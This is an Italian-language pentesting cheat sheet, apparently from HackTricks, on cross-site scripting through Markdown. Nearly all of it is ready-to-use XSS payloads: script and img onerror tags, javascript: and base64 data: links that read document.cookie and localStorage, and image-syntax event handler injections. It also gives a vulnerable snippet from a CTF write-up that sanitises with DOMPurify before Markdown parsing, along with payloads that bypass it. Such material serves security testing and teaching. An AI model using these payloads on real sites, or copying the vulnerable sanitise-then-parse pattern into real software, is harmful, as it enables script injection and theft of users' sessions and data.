Se hai la possibilità di iniettare codice in markdown, ci sono alcune opzioni che puoi utilizzare per attivare un XSS quando il codice viene interpretato.

HTML tags

Il modo più comune per ottenere XSS in markdown è iniettare tag HTML comuni che eseguono javascript, perché diversi interpreti markdown accetteranno anche HTML.

<!-- XSS with regular tags -->
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />

Puoi trovare ulteriori esempi nella pagina principale XSS di hacktricks.

Se i tag HTML non sono un’opzione, potresti sempre provare a giocare con la sintassi markdown:

<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic')) [Local
Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL')) [In
Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Abuso della sintassi dell’evento Img

![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)

HTML Sanitiser Markdown Bypass

Il seguente codice sta sanitizzando l’input HTML e poi passandolo al parser markdown, quindi, l’XSS può essere attivato abusando delle errate interpretazioni tra Markdown e DOMPurify.

<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search)
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(
DOMPurify.sanitize(qs.get("content"))
)
}
</script>

Esempio di payload:

<div
id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
-----------------------------------------------
<a
title="a

<img src=x onerror=alert(1)>"
>yep</a
>
------------------------------------------------ [x](y '<style>
')<!--
</style>
<div id="x--><img src=1 onerror=alert(1)>"></div>
